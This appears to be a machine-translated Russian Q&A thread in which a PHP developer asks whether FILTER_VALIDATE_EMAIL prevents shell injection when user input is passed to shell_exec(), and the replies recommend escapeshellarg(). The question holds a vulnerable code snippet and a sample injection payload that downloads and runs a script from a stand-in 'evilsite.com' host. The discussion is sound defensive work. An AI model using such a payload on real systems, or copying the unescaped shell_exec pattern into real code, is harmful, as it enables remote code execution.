Итак, я планирую использовать shell_exec()
для обработки сценария php, который отправляет электронное письмо.Является ли FILTER_VALIDATE_EMAIL достаточным для остановки инъекции оболочки?
Все это прекрасно работает, но я был слегка обеспокоен последствиями безопасности только для использования FILTER_VALIDATE_EMAIL
, чтобы обеспечить невозбуждение впрыска.
Так, например, я буду использовать что-то simlilar к этому:
$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo 'Nope ...';
} else {
shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}
Таким образом, очевидно, без проверки, я мог бы представить свою электронную почту, как что-то вроде:
'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '
и все ад мог сломаться ...
Является ли это доказательством 100% впрыска (что мы знаем) или есть что-то еще, что я должен добавить?
Благодарю вас. Я думаю, что функция 'escapeshellarg()' лучше всего подходит для моих нужд. И спасибо за ссылку OWASP, хороший бит ночного чтения: D ... Кроме того, я не использую 'mail()', потому что я использую несколько удаленных почтовых серверов, поэтому мне легче просто открыть сокет tls к соответствующему серверу и отправить «до моего сердца». –
Рад, что это помогло! Передача любого пользовательского контента с помощью команд оболочки опасна. Я бы действительно предложил обойти проблему безопасности, написав содержимое электронной почты в файл и передав имя файла вашему скрипту. –